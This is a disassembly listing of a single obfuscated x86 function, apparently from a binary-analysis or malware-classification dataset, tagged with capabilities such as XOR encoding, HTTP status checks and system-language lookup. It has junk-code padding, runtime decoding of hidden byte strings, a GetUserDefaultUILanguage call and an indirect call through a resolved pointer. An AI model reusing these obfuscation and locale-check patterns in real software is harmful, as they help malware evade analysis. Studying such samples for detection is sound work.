Function at 0x1002fcc6
Capabilities:
Check http status code
Encode data using xor
Get file size
Identify system language via api

Disassembly:
mov eax, 0x100532b1
call fcn.10052218
sub esp, 0x52c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x214], edx
mov dword [ebp - 0x6c], ecx
push ecx
xor ebx, ebx
mov ecx, 0x6b52
push ebx
mov dword [ebp - 4], ebx
call fcn.1002f08c
pop ecx
pop ecx
mov dword [ebp - 0x1c0], ebx
mov dword [ebp - 0x1bc], ebx
mov dword [ebp - 0x1b8], ebx
xor ecx, ecx
inc ecx
mov byte [ebp - 4], cl
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x14], 0xb5ca9869
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x24], 0xfe6d39c7
mov dword [ebp - 0x14], 0xdbd0176d
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], 0x8573
mov dword [ebp - 0x24], 0x9cd17cd9
mov dword [ebp - 0x14], ebx
jmp 0x1002fd52
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x230], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002fd45
mov dword [ebp - 0x230], ecx
xor edx, edx
mov eax, dword [ebp - 0x230]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x20]
dec dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
lea eax, [eax + ecx*2]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x14]
cmp eax, 0x4042
mov eax, dword [ebp - 0x230]
setle dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
je 0x1002fdaa
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov ecx, 0x2e96
sub ecx, eax
mov eax, dword [ebp - 0x22c]
cmp ecx, 0x7279
mov dword [ebp - 0xb4], 0x1c0a7008
push 0x6e
setge dl
mov word [ebp - 0xb0], 0x5f05
xor ecx, ecx
mov byte [ebp - 0xae], 6
cmp eax, edx
mov dword [ebp - 0xab], 0x4040c2b
pop eax
setge cl
mov byte [ebp - 0xad], al
mov dword [ebp - 0x24], ecx
xor edx, edx
mov dword [ebp - 0xa7], 0x9260009
inc edx
mov byte [ebp - 0xa3], 0x37
mov byte [ebp - 0xa2], dl
mov dword [ebp - 0xa1], 0x7020215
mov word [ebp - 0x9d], 0xb0c
mov byte [ebp - 0x9b], bl
push 3
pop ecx
mov byte [ebp - 0xac], cl
mov dword [ebp - 0x1a0], 0xffffffff
mov dword [ebp - 0x19c], 0xffffffff
mov dword [ebp - 0x198], 0xffffffff
mov dword [ebp - 0x194], 0xffffffff
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x24], 0xfffffff7
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], ecx
jg 0x1002ff6c
mov dword [ebp - 0x20], 0x60b0ceaf
mov dword [ebp - 0x14], ebx
jmp 0x1002fe92
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x328], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002fe85
mov dword [ebp - 0x20], ebx
jmp 0x1002fead
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x1a0], 5
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x1002fe9c
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x1a0]
mov ecx, dword [ebp - 0x1a0]
sub ecx, eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x14], edx
xor edx, edx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x194]
cmp ecx, eax
mov ecx, dword [ebp - 0x19c]
mov eax, dword [ebp - 0x18]
setge dl
add ecx, edx
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x1a0]
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setle dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x1a0]
cmp edx, eax
mov eax, dword [ebp - 0x18]
setle cl
xor edx, edx
imul ecx, dword [ebp + eax*4 - 0x1a0]
mov eax, dword [ebp - 0x18]
sub ecx, dword [ebp + eax*4 - 0x1a0]
mov dword [ebp - 0x28], ecx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
mov eax, dword [ebp - 0x20]
setle dl
xor ecx, ecx
cmp eax, edx
setge cl
cmp ecx, dword [ebp - 0x28]
jle 0x1002ff4f
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x1a0], ebx
je 0x1002ff4f
xor edx, edx
mov eax, ebx
inc edx
jmp 0x1002ff54
xor edx, edx
inc edx
mov eax, edx
mov dword [ebp - 0x324], eax
inc dword [ebp - 0x18]
push 3
pop ecx
cmp dword [ebp - 0x18], ecx
jle 0x1002fe79
push 0x6e
pop eax
push 2
mov word [ebp - 0x2cc], ax
pop esi
movzx eax, byte [ebp + esi - 0xb6]
movzx ecx, byte [ebp + esi - 0xb3]
movzx edx, word [ebp + eax*2 - 0x2dc]
mov eax, edx
and eax, ecx
add eax, eax
sub edx, eax
movzx eax, byte [ebp + esi - 0xb4]
add edx, ecx
add esi, 2
mov word [ebp + eax*2 - 0x2dc], dx
cmp esi, 0x1a
jb 0x1002ff76
xor eax, eax
xor ecx, ecx
mov word [ebp - 0x2c2], ax
inc ecx
mov dword [ebp - 0x1b0], 0xac204e2d
mov dword [ebp - 0x14], ebx
jmp 0x1002ffd8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x174], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002ffcb
push ecx
push 0x37bd
lea eax, [ebp - 0x1b0]
mov dl, cl
push eax
push ebx
mov ecx, 0x5069
call fcn.1002f567
add esp, 0x10
xor dl, dl
push 0x697e
push 0x26d0
push 0x5ea4
push ecx
lea ecx, [ebp - 0x1b0]
call fcn.1002faa6
add esp, 0x10
mov dword [ebp - 0x98], 0x2037104
xor edx, edx
mov dword [ebp - 0x94], 0x6000b06
mov ecx, ebx
mov dword [ebp - 0x90], 0x82040b07
inc edx
mov dword [ebp - 0x8c], 0x2283126
push 0x61
pop eax
push 2
xor ebx, ebx
mov word [ebp - 0x88], 0x548
mov byte [ebp - 0x86], 0x4e
inc ebx
mov byte [ebp - 0x85], dl
mov byte [ebp - 0x84], 0xc
mov word [ebp - 0x23c], ax
pop esi
mov dword [ebp - 0x178], ecx
cmp esi, 0xa
jne 0x1003008d
push 5
pop ecx
push 0xd
mov dword [ebp - 0x178], ecx
pop esi
jmp 0x100300eb
movzx edx, byte [ebp + esi - 0x97]
mov eax, esi
sub eax, ecx
push ebx
push 0x1f6c
push 0x3150
movzx eax, byte [ebp + eax - 0x9a]
movzx ecx, word [ebp + eax*2 - 0x244]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x98]
add ecx, edx
mov dl, bl
mov word [ebp + eax*2 - 0x244], cx
lea eax, [ebp - 0x178]
push eax
push ebx
mov ecx, 0x7d4e
call fcn.1002f218
mov ecx, dword [ebp - 0x178]
add esp, 0x14
add esi, 2
cmp esi, 0x15
jb 0x1003007a
xor eax, eax
xor ebx, ebx
mov word [ebp - 0x234], ax
xor edx, edx
mov dword [ebp - 0x14], 0xffffffff
inc edx
mov dword [ebp - 0x20], 0xb0121307
mov dword [ebp - 0x24], 0xe4c7ba3f
mov dword [ebp - 0x24], 0x6bd29a2a
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x24], 0x7504ed09
mov dword [ebp - 0x24], 0xedda
mov dword [ebp - 0x24], 0xf529
mov dword [ebp - 0x224], 0xb3d385e1
mov dword [ebp - 0x1c], ebx
jmp 0x10030159
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x48], 0xd3f7bf4
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x1003014b
mov dword [ebp - 0x1c], ebx
jmp 0x10030174
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x348], 0xa1c3d076
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10030163
mov dword [ebp - 0x1c], 0x1876
cmp dword [ebp - 0x1c], 0x1a48
jle 0x100301c4
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x24], ebx
lea eax, [esi + edi]
mov ecx, 0x1006a318
xor eax, ebx
cdq
push edx
push eax
call fcn.10001c75
inc ebx
cmp ebx, 0x17d1
jl 0x10030191
inc esi
push 0
pop ebx
cmp esi, 0x1cde
jl 0x1003018e
inc edi
cmp edi, 0x9df
jl 0x1003018c
xor edx, edx
inc edx
mov eax, dword [ebp - 0x48]
mov ecx, 0xaec39e39
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
sub ecx, eax
je 0x100301e8
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x20], 0x2a3
jle 0x100301fc
cmp dword [ebp - 0x20], ebx
jne 0x100301fe
mov edx, ebx
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x24], ebx
mov byte [ebp - 4], 2
cmp dword [ebp - 0x1c], 0x153c
jge 0x10030223
mov edx, str.tep_glnt_buqqrdr_kgu_cwlkiya_aetgzjkz_fll_paioh_hgt_kqkgg
mov ecx, 0x1006a318
call fcn.10003644
xor esi, esi
inc esi
mov dword [ebp - 4], esi
push ebx
push ecx
push 0x1b33
lea edx, [ebp - 0x224]
call fcn.1002f358
xor eax, eax
mov dword [ebp - 0x290], 7
add esp, 0xc
mov word [ebp - 0x2a4], ax
lea eax, [ebp - 0x244]
mov dword [ebp - 0x294], ebx
lea ecx, [ebp - 0x2a4]
push eax
call fcn.100055e3
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x28c]
xor eax, eax
mov dword [ebp - 0x278], 7
mov word [ebp - 0x28c], ax
lea eax, [ebp - 0x2dc]
push eax
mov dword [ebp - 0x27c], ebx
call fcn.100055e3
lea eax, [ebp - 0x28c]
push eax
lea ecx, [ebp - 0x398]
call fcn.10005d7b
lea eax, [ebp - 0x2a4]
push eax
lea ecx, [ebp - 0x380]
call fcn.10005d7b
push ebx
push esi
lea ecx, [ebp - 0x28c]
call fcn.10005a02
push ebx
push esi
lea ecx, [ebp - 0x2a4]
call fcn.10005a02
mov byte [ebp - 4], 5
lea eax, [ebp - 0x368]
push dword [ebp - 0x174]
lea ecx, [ebp - 0x1ac]
mov dword [ebp - 0x1ac], ebx
push eax
lea eax, [ebp - 0x398]
mov dword [ebp - 0x1a8], ebx
push eax
push ebx
mov dword [ebp - 0x1a4], ebx
call fcn.100320f7
push fcn.1002e676
push esi
push 0x30
lea eax, [ebp - 0x398]
mov byte [ebp - 4], 7
push eax
call fcn.1003a32f
push 7
pop ecx
xor eax, eax
lea edi, [ebp - 0x2dc]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x244]
stosd dword es:[edi], eax
push esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp + 8]
push eax
push ecx
push 0x2c61
push ecx
push ecx
lea ecx, [ebp - 0x1ac]
call fcn.1002f93a
mov dword [ebp - 0x20], 0x63a8
add esp, 0x18
cmp dword [ebp - 0x20], 0x63f0
jle 0x100303be
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, ebx
mov dword [ebp - 0x14], ebx
mov edi, ebx
mov eax, edi
and eax, ecx
lea ecx, [ebp - 0x410]
cdq
push edx
push eax
call fcn.10003c04
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10030392
mov eax, dword [eax]
push eax
call fcn.1003a280
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x410]
call fcn.10002056
mov ecx, dword [ebp - 0x14]
inc edi
cmp edi, 0x12b3
jl 0x10030376
inc ecx
mov dword [ebp - 0x14], ecx
cmp ecx, 0x7396
jl 0x10030374
cmp dword [ebp - 0x20], 0x6080
jge 0x100303d2
push str.nszdqojfb_xowgylv_gbcevc_egy_lye_urc_mgy
call fcn.1003a280
pop ecx
mov dword [ebp - 4], 7
xor ecx, ecx
inc ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], 0xb064bae0
mov dword [ebp - 0x28], 0x2657
mov dword [ebp - 0x14], ebx
jmp 0x1003042e
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x50], 0x2ba75a59
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10030420
mov dword [ebp - 0x20], ebx
jmp 0x1003056d
mov dword [ebp - 0x18], 0xdc7555b7
mov dword [ebp - 0x14], ebx
jmp 0x10030455
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x68], 0x57e8b72f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10030447
mov dword [ebp - 0x18], ebx
jmp 0x100304af
mov dword [ebp - 0x14], 0xf8b8ae50
mov dword [ebp - 0x24], 0xb641b44a
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0x68]
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x68], ecx
xor ecx, ecx
mov dword [ebp - 0x14], 0x34b6
inc ecx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x68]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x24], ecx
jle 0x100304a7
mov eax, ebx
cmp dword [ebp - 0x68], ebx
je 0x100304a9
mov eax, ecx
mov dword [ebp - 0x1c], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x1003045f
mov dword [ebp - 0x18], ebx
jmp 0x10030561
mov dword [ebp - 0x14], 6
mov dword [ebp - 0x30], 0xeb4983ca
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x50], ebx
je 0x1003054b
mov eax, dword [ebp - 0x28]
cmp ecx, eax
sbb eax, eax
neg eax
sub eax, 7
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x18]
je 0x100304f1
mov esi, ecx
cmp dword [ebp - 0x68], ebx
jne 0x100304f3
mov esi, ebx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x50]
mov ecx, dword [ebp - 0x1c]
sub ecx, eax
mov eax, dword [ebp - 0x18]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, esi
setne dl
sub edx, 0xe630971c
neg edx
sbb edx, edx
inc edx
cmp edx, dword [ebp + eax*4 - 0x50]
jl 0x1003052f
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x50], ebx
jne 0x1003052f
xor ecx, ecx
mov edx, ebx
inc ecx
jmp 0x10030534
xor ecx, ecx
inc ecx
mov edx, ecx
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x50], edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x50]
cmp eax, dword [ebp - 0x30]
jge 0x1003054b
mov edx, ecx
jmp 0x10030550
xor ecx, ecx
mov edx, ebx
inc ecx
xor eax, eax
cmp edx, 0x4a6e8f59
setne al
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x100304bc
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jle 0x1003043b
push ebx
push 0x1435b
push 0x8406
call fcn.1002056d
pop ecx
pop ecx
call eax
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x1c], ebx
jmp 0x100305a3
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x2b0], 0xcff0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10030592
mov dword [ebp - 0x1c], ebx
jmp 0x100305bf
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x44c], 0xfc3eee2f
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x100305ae
mov dword [ebp - 0x18], ebx
jmp 0x1003063e
mov dword [ebp - 0x14], 0xfffffffe
mov dword [ebp - 0x1c], ebx
jmp 0x100305e7
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x41c], 0xfffffffc
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x100305d6
mov dword [ebp - 0x1c], ebx
jmp 0x10030603
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x300], 0x4087
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x100305f2
dec dword [ebp - 0x2f8]
mov dword [ebp - 0x14], 2
cmp dword [ebp - 0x14], ebx
jl 0x1003063b
push ecx
xor cl, cl
call fcn.1002f1c9
mov byte [ebp - 0x29], bl
cmp byte [ebp - 0x29], 0
pop ecx
je 0x10030636
push ecx
xor cl, cl
call fcn.1002f5d3
pop ecx
dec dword [ebp - 0x14]
jns 0x1003061b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jle 0x100305ca
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], 2
jg 0x10030716
mov dword [ebp - 0x204], ebx
mov dword [ebp - 0x200], ebx
mov dword [ebp - 0x1fc], ebx
mov dword [ebp - 0x1f8], ebx
mov dword [ebp - 0x30], 0x271d
cmp dword [ebp - 0x30], 0x29f7
jle 0x1003069f
mov esi, ebx
mov edi, ebx
lea eax, [edi + esi]
mov ecx, 0x1006a318
cdq
push edx
push eax
call fcn.10001c75
inc edi
cmp edi, 0x6847
jl 0x1003067d
inc esi
cmp esi, 0x1c78
jl 0x1003067b
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x30], 0x253d
jge 0x100306d9
mov edx, str.lybnmzawt_tdzcdxif_mhbke_tjtbwfmhx_jamtvho_xjwhcvh_hfhtrvrg_zfcnk_wuwopf_dbdkcx_snsptopgu
mov ecx, 0x1006a318
call fcn.10003644
jmp 0x100306d9
mov dword [ebp - 4], 7
mov dword [ebp - 0x1f8], 2
cmp dword [ebp - 0x1f8], ebx
jl 0x1003070e
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0x2b0]
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2b0], ecx
dec dword [ebp - 0x1f8]
jns 0x100306f2
inc dword [ebp - 0x18]
jmp 0x10030647
push ebx
lea eax, [ebp - 0x2c0]
xor esi, esi
push eax
push 0x4596
inc esi
xor dl, dl
push esi
mov ecx, 0x2fdb
call fcn.1002f567
mov dword [ebp - 0x44], ebx
xor ecx, ecx
mov dword [ebp - 0x1c], ebx
add esp, 0x10
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x24], 0x1ff3c8d
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
cmp eax, 0xffffe2f6
setle cl
xor edx, edx
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setne cl
xor edx, edx
cmp ecx, eax
setle dl
xor ecx, ecx
imul edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp edx, eax
setl cl
sub ecx, 0x25e4
cmp ecx, dword [ebp - 0x18]
jne 0x100307aa
cmp dword [ebp - 0x18], ebx
jne 0x100307ac
mov esi, ebx
mov dword [ebp - 0x20], esi
xor edx, edx
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setg dl
imul edx, dword [ebp - 0x18]
cmp edx, 0x5043c4ab
jg 0x100307cb
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
inc ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], 0x19
jle 0x100308ad
mov edx, 0xffff
mov dword [ebp - 0x24], 0xece9e619
mov dword [ebp - 0x20], ebx
jmp 0x100307f9
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x4c], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x100307ef
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], ebx
jl 0x1003089a
mov dword [ebp - 0x30], 0xf1b6398c
mov dword [ebp - 0x28], 0xfffffff8
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], ebx
jl 0x10030891
mov dword [ebp - 0x24], 0x69233c9e
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x4c], ebx
je 0x10030882
cmp dword [ebp - 0x4c], ebx
je 0x10030838
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x4c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x4c]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x30], ecx
cmp dword [ebp - 0x30], ebx
jne 0x1003085c
cmp dword [ebp - 0x24], ebx
je 0x1003085e
mov ecx, ebx
mov eax, dword [ebp - 0x28]
cmp edx, ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
setge dl
xor ecx, ecx
sub edx, 0x6de68677
inc ecx
cmp edx, 3
jae 0x10030882
mov eax, ecx
cmp dword [ebp - 0x4c], ebx
jne 0x10030884
mov eax, ebx
mov dword [ebp - 0x24], eax
mov edx, 0xffff
dec dword [ebp - 0x1c]
jns 0x10030820
dec dword [ebp - 0x20]
jns 0x1003080a
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x24], eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x19
jg 0x100307e3
push 0x34
pop eax
mov byte [ebp - 0x166], cl
xor esi, esi
mov byte [ebp - 0x14f], cl
inc esi
push 2
mov ecx, ebx
mov word [ebp - 0x168], 0x4e1d
mov dword [ebp - 0x165], 0x4681871
mov dword [ebp - 0x161], 0x197a146e
mov dword [ebp - 0x15d], 0x1e752309
mov dword [ebp - 0x159], 0x3760603
mov dword [ebp - 0x155], 0x22452508
mov word [ebp - 0x151], 0x744
mov dword [ebp - 0x14e], 0x60a0a12
mov dword [ebp - 0x14a], 0xe1f0d0d
mov dword [ebp - 0x146], 0x70107616
mov dword [ebp - 0x142], 0x150e0924
mov dword [ebp - 0x13e], 0x72111b21
mov dword [ebp - 0x13a], 0x7408741c
mov dword [ebp - 0x136], 0x1c097505
mov word [ebp - 0x132], 0x1917
mov byte [ebp - 0x130], bl
mov dword [ebp - 0x12f], 0x44a154f
mov dword [ebp - 0x12b], 0x36d73687
mov dword [ebp - 0x127], 0x7702020b
mov dword [ebp - 0x123], 0x1d1a6913
mov dword [ebp - 0x11f], 0x7a1b0920
mov dword [ebp - 0x11b], 0x50c720f
mov word [ebp - 0x466], ax
pop edi
mov dword [ebp - 0x180], ecx
cmp edi, 0x3c
jne 0x10030a29
mov dword [ebp - 0x180], 5
push 0x3f
mov dword [ebp - 0x24], 0x29d7
cmp dword [ebp - 0x24], 0x2cc4
pop edi
mov dword [ebp - 0x28], edi
jle 0x10030a7a
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov dword [ebp - 0x14], ebx
mov edi, ebx
mov dword [ebp - 0x30], 0x3bab
mov eax, edi
lea ecx, [ebp - 0x3c8]
cdq
push edx
push eax
call fcn.10003c04
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100309fb
mov eax, dword [eax]
push eax
call fcn.1003a280
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x3c8]
call fcn.10002056
mov eax, dword [ebp - 0x14]
add edi, eax
dec dword [ebp - 0x30]
jne 0x100309e1
inc eax
mov dword [ebp - 0x14], eax
cmp eax, 0x7756
jl 0x100309d8
mov edi, dword [ebp - 0x28]
jmp 0x10030a7a
movzx edx, byte [ebp + edi - 0x167]
mov eax, edi
sub eax, ecx
push 0x5b98
movzx eax, byte [ebp + eax - 0x16a]
movzx ecx, word [ebp + eax*2 - 0x4a0]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + edi - 0x168]
add ecx, edx
mov edx, 0x5134
mov word [ebp + eax*2 - 0x4a0], cx
lea eax, [ebp - 0x180]
push eax
push ecx
push ebx
call fcn.1002f6c6
add esp, 0x10
add edi, 2
cmp edi, 0x51
jae 0x10030a8d
mov ecx, dword [ebp - 0x180]
jmp 0x100309a6
xor eax, eax
mov word [ebp - 0x454], ax
mov dword [ebp - 0x30], 0xfffffff8
mov dword [ebp - 0x14], 0xa2b8ea2c
mov dword [ebp - 0x1c], ebx
jmp 0x10030ab7
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x64], 0xfffffffb
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10030aa9
mov dword [ebp - 0x1c], ebx
jmp 0x10030ad3
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x31c], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10030ac2
mov eax, dword [ebp - 0x64]
xor edx, edx
cmp eax, 0x1720348f
mov eax, dword [ebp - 0x64]
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
xor edx, edx
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x64]
cmp ecx, eax
mov eax, dword [ebp - 0x60]
setg dl
xor ecx, ecx
cmp edx, eax
setg cl
cmp dword [ebp - 0x64], ecx
jne 0x10030b16
cmp dword [ebp - 0x60], ebx
jne 0x10030b16
mov esi, ebx
mov eax, dword [ebp - 0x60]
xor edx, edx
cmp esi, 0x5d9b4e94
sete dl
sub edx, 0xffff
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x60]
setge cl
sub ecx, eax
mov eax, dword [ebp - 0x60]
sub eax, ecx
neg eax
sbb eax, eax
xor edx, edx
inc eax
cmp eax, 0x6038
mov eax, dword [ebp - 0x60]
setge dl
xor ecx, ecx
cmp edx, eax
setne cl
xor edx, edx
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x14]
cmp eax, ecx
lea ecx, [ebp - 0x25c]
setle dl
mov dword [ebp - 0x31c], edx
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x14], eax
xor eax, eax
mov word [ebp - 0x25c], ax
lea eax, [ebp - 0x4a0]
push eax
mov dword [ebp - 0x248], 7
mov dword [ebp - 0x24c], ebx
call fcn.100055e3
mov byte [ebp - 4], 0xe
xor edx, edx
mov dword [ebp - 0x1c], 0xe48d327c
inc edx
mov dword [ebp - 0x20], 0xdb505206
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x18], ebx
jmp 0x10030bd2
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x170], 5
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x10030bc1
mov dword [ebp - 0x18], ebx
jmp 0x10030bed
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1f0], 0x2e6e7f73
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10030bdc
mov dword [ebp - 0x18], ebx
jmp 0x10030c09
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x330], 0xdade
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10030bf8
push ebx
push ecx
push 0x359f
lea ecx, [ebp - 0x38]
call fcn.1002f1b1
add esp, 0xc
mov dword [ebp - 0x1c], 0xfffffffd
cmp dword [ebp - 0x1c], 0xffffffed
jl 0x10030f79
mov dword [ebp - 0x14], 0xfd07
mov dword [ebp - 0x38], ebx
cmp dword [ebp - 0x38], 0x15
jl 0x10030cfa
mov dword [ebp - 0x20], 3
jmp 0x10030ce0
push 0x3d1e
push ecx
mov dword [ebp - 0x3c], 0xfffffff8
lea edx, [ebp - 0x3c]
mov dword [ebp - 0x24], ebx
xor cl, cl
call fcn.1002f31a
pop ecx
pop ecx
mov dword [ebp - 0x3c], ebx
jmp 0x10030cd7
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp + eax*4 - 0x1f0]
cmp dword [ebp - 0x14], ebx
jne 0x10030c9c
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp + eax*4 - 0x1f0]
mov eax, dword [ebp - 0x3c]
